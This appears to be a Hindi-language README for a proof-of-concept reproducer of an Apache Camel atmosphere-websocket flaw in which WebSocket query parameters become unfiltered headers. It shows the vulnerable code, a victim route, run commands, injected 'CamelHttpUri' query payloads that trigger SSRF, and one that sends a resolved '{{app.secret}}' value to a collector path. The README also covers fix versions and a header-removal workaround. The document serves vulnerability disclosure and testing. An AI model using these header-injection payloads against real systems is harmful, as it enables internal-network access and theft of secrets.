
CVE-2026-55993 (Apache Camel camel-atmosphere-websocket) के लिए PoC रीप्रोड्यूसर: WebSocket उपभोक्ता कनेक्शन क्वेरी पैरामीटर को बिना फ़िल्टर किए Exchange पर कॉपी करता है, जिससे इंजेक्ट किया गया CamelHttpUri सर्वर-साइड अनुरोध (SSRF) चलाता है और रिज़ॉल्व किए गए प्रॉपर्टी प्लेसहोल्डर लीक कर देता है। 4.14.8/4.18.3/4.21.0 में फिक्स किया गया।
यह प्रोजेक्ट Apache Camel के camel-atmosphere-websocket घटक में एक मैसेज-हेडर इंजेक्शन प्रदर्शित करता है, जिसे CVE-2026-55993 के रूप में ट्रैक किया गया है। WebSocket उपभोक्ता (consumer) कनेक्शन के क्वेरी पैरामीटर को Camel Exchange पर बिना किसी HeaderFilterStrategy के कॉपी करता है, इसलिए कोई क्लाइंट केवल उन्हें WebSocket URL की क्वेरी स्ट्रिंग में जोड़कर Camel नियंत्रण हेडर — विशेष रूप से CamelHttpUri — इंजेक्ट कर सकता है:
// WebsocketConsumer.sendEventNotification (प्रभावित 4.18.2) — क्वेरी पैराम्स -> Exchange हेडर, बिना फ़िल्टर
for (Map.Entry<String, String> param : queryMap.entrySet()) {
exchange.getIn().setHeader(param.getKey(), param.getValue());
}
// जहाँ queryMap = getQueryMap(request.getQueryString()) (एक सरल, गैर-फ़िल्टरिंग पार्सर)
जब रूट इस उपभोक्ता को HTTP प्रोड्यूसर से जोड़ती है, तो इंजेक्ट किया गया CamelHttpUri कर देता है — सर्वर-साइड रिक्वेस्ट फोर्जरी (SSRF)। camel-http प्रोड्यूसर उस हमलावर-नियंत्रित URI पर भी कॉल करता है, इसलिए एक इंजेक्ट किया गया संदर्भ उसके वास्तविक मान तक विस्तारित होकर बाहर भेज दिया जाता है — जिससे पर्यावरण चर (environment variables), एप्लिकेशन प्रॉपर्टीज़, या वॉल्ट सीक्रेट उजागर हो जाते हैं।
resolvePropertyPlaceholders(){{...}}यह PoC इस प्रभाव को SSRF और सीक्रेट डिस्क्लोज़र (CWE-20 → CWE-918 + CWE-200) के रूप में प्रदर्शित करता है। यह तीन सहयोगी घटकों में से एक है जिन्हें CAMEL-23532 के अंतर्गत एक साथ ठीक किया गया था (camel-vertx-websocket, CVE-2026-46726, और camel-iggy, CVE-2026-55994 के साथ)।
| Property | Value |
|---|---|
| घटक (Component) | camel-atmosphere-websocket |
| प्रभावित क्लास | org.apache.camel.component.atmosphere.websocket.WebsocketConsumer (getQueryMap() / sendEventNotification() बिना किसी फ़िल्टर के क्वेरी पैराम्स को हेडर में मैप करते हैं) |
| CWE | CWE-20 (अनुचित इनपुट सत्यापन) → CWE-918 (SSRF) + CWE-200 (सूचना का जोखिम) |
| प्रभाव | अनप्रमाणित SSRF और इंजेक्ट किए गए URI पर प्रॉपर्टी-प्लेसहोल्डर रिज़ॉल्यूशन के माध्यम से सीक्रेट का खुलासा |
| पूर्व शर्तें | एक रूट atmosphere-websocket उपभोक्ता को HTTP प्रोड्यूसर से जोड़ती है; सर्वलेट events=true के साथ चलता है |
| प्रभावित संस्करण | 4.0.0 से पहले 4.14.8 से, 4.15.0 से पहले 4.18.3 से, 4.19.0 से पहले 4.21.0 से |
| ठीक किए गए संस्करण | 4.14.8, 4.18.3, 4.21.0 |
| JIRA | CAMEL-23532 (PR apache/camel#23285) |
| श्रेय | Kamalpreet Singh |
फिक्स इनबाउंड मैपिंग पर विरासत में मिली
HttpHeaderFilterStrategyलागू करता है, जोCamel*/camel*हेडर को केस-इनसेंसिटिव रूप से फ़िल्टर करता है ताकि उन्हें WebSocket क्वेरी स्ट्रिंग के माध्यम से इंजेक्ट न किया जा सके।
WebsocketConsumer के दो भेद्य सदस्यों को अपरिवर्तित, हमलावर-नियंत्रित क्वेरी स्ट्रिंग के साथ चलाया जाता है:
WebsocketConsumer.getQueryMap(String) — सरल, गैर-फ़िल्टरिंग पार्सर जो WebSocket कनेक्शन की क्वेरी स्ट्रिंग को एक मैप में बदलता है;WebsocketConsumer.sendEventNotification(...) — जो उस मैप की हर प्रविष्टि को बिना किसी HeaderFilterStrategy के Exchange पर एक हेडर के रूप में कॉपी करता है।परिणामी Exchange वास्तविक रूट से होकर वास्तविक camel-http प्रोड्यूसर तक जाता है, इसलिए SSRF और {{...}} प्रॉपर्टी-प्लेसहोल्डर डिस्क्लोज़र वास्तविक हैं।
WebSocket ट्रांसपोर्ट सीधे तौर पर क्यों उपयोग नहीं किया गया। इस घटक संस्करण (Camel 4.18.2 → Atmosphere 3.1.0) में, WebSocket JSR-356 के माध्यम से परोसा जाता है, जिसका अपग्रेड सर्वलेट कंटेनर द्वारा संभाला जाता है और
CamelWebSocketServlet.service()को बायपास करता है — यही एकमात्र स्थान है जो कनेक्शन की क्वेरी स्ट्रिंग को उपभोक्ता केqueryMapमें कॉपी करता है।sendEventNotificationउस (खाली) मैप को पढ़ता है, न कि WebSocket सत्र पर मौजूद क्वेरी को, इसलिए इंजेक्शन को इस Atmosphere संस्करण में लाइव JSR-356 WebSocket के माध्यम से नहीं पहुँचाया जा सकता। (Atmosphere 3.1.0 केवल JSR-356 / Servlet30 / BlockingIO / Netty समर्थन भेजता है — कोई सर्वलेट-आधारित WebSocket ट्रांसपोर्ट नहीं है जोqueryMapको भर सके।) इसलिए यह रिप्रोड्यूसर दो वास्तविक भेद्य विधियों को सीधे हमलावर की क्वेरी स्ट्रिंग के साथ लागू करता है; सहयोगीcamel-vertx-websocketPoC (CVE-2026-46726) समान दोष को लाइव WebSocket के माध्यम से चलाता है, क्योंकि वह घटक हर मैसेज पर क्वेरी को मैप करता है।
from("atmosphere-websocket:///feed")
.to("http://localhost:8080/legit-backend?throwExceptionOnFailure=false");
रूट लेखक का एकमात्र इच्छित लक्ष्य /legit-backend है; इंजेक्ट किया गया CamelHttpUri इसे ओवरराइड कर देता है।
CVE-2026-55993/
├── pom.xml # camel-atmosphere-websocket + camel-http 4.18.2
├── Dockerfile
├── docker-compose.yml # single self-contained service
├── README.md
└── src/main/
├── java/com/example/
│ ├── Application.java
│ ├── VictimRoute.java # atmosphere-websocket:///feed -> http://localhost:8080/legit-backend
│ ├── SinkController.java # SSRF collector: /legit-backend, /internal/secret, /collect/{secret}
│ └── ExploitController.java # drives the real getQueryMap + sendEventNotification with an injected query
└── resources/
└── application.properties # app.secret=... (leaked via placeholder resolution)
mvn clean package -DskipTests
docker compose up -d --build
curl -s http://localhost:8080/exploit/attack
docker compose down
1) Legitimate WebSocket connection (no query params)
reached /legit-backend: true
reached /internal/secret: false
2) Injected query 'CamelHttpUri=http://localhost:8080/internal/secret' (SSRF)
server-side request reached /internal/secret: true
3) Injected query 'CamelHttpUri=http://localhost:8080/collect/{{app.secret}}' (secret disclosure)
attacker's collector received leak = SUPER-SECRET-abc123
equals the app's real secret: true
>>> SSRF=true, secret-disclosure=true
4.14.8 / 4.18.3 / 4.21.0 (CAMEL-23532) में अपग्रेड करें। अपग्रेड करने के बाद, उपभोक्ता WebSocket क्वेरी स्ट्रिंग से Camel* हेडर को फ़िल्टर कर देता है, इसलिए CamelHttpUri और अन्य नियंत्रण हेडर अब इंजेक्ट नहीं किए जा सकते।
अपग्रेड होने तक, पहले Camel नियंत्रण हेडर हटाए बिना किसी atmosphere-websocket उपभोक्ता को सीधे HTTP प्रोड्यूसर से न जोड़ें (उदाहरण के लिए removeHeaders("CamelHttp*")), और प्रोड्यूसर का लक्ष्य किसी विश्वसनीय स्रोत से सेट करें (या bridgeEndpoint=true उपयोग करें)।
यह रिप्रोड्यूसर सुरक्षा अनुसंधान और अधिकृत परीक्षण के लिए, एक सार्वजनिक रूप से खुलासा और ठीक की गई भेद्यता के लिए प्रदान किया गया है। इसका उपयोग उन प्रणालियों के विरुद्ध न करें जिनके लिए आपके पास स्पष्ट अनुमति नहीं है।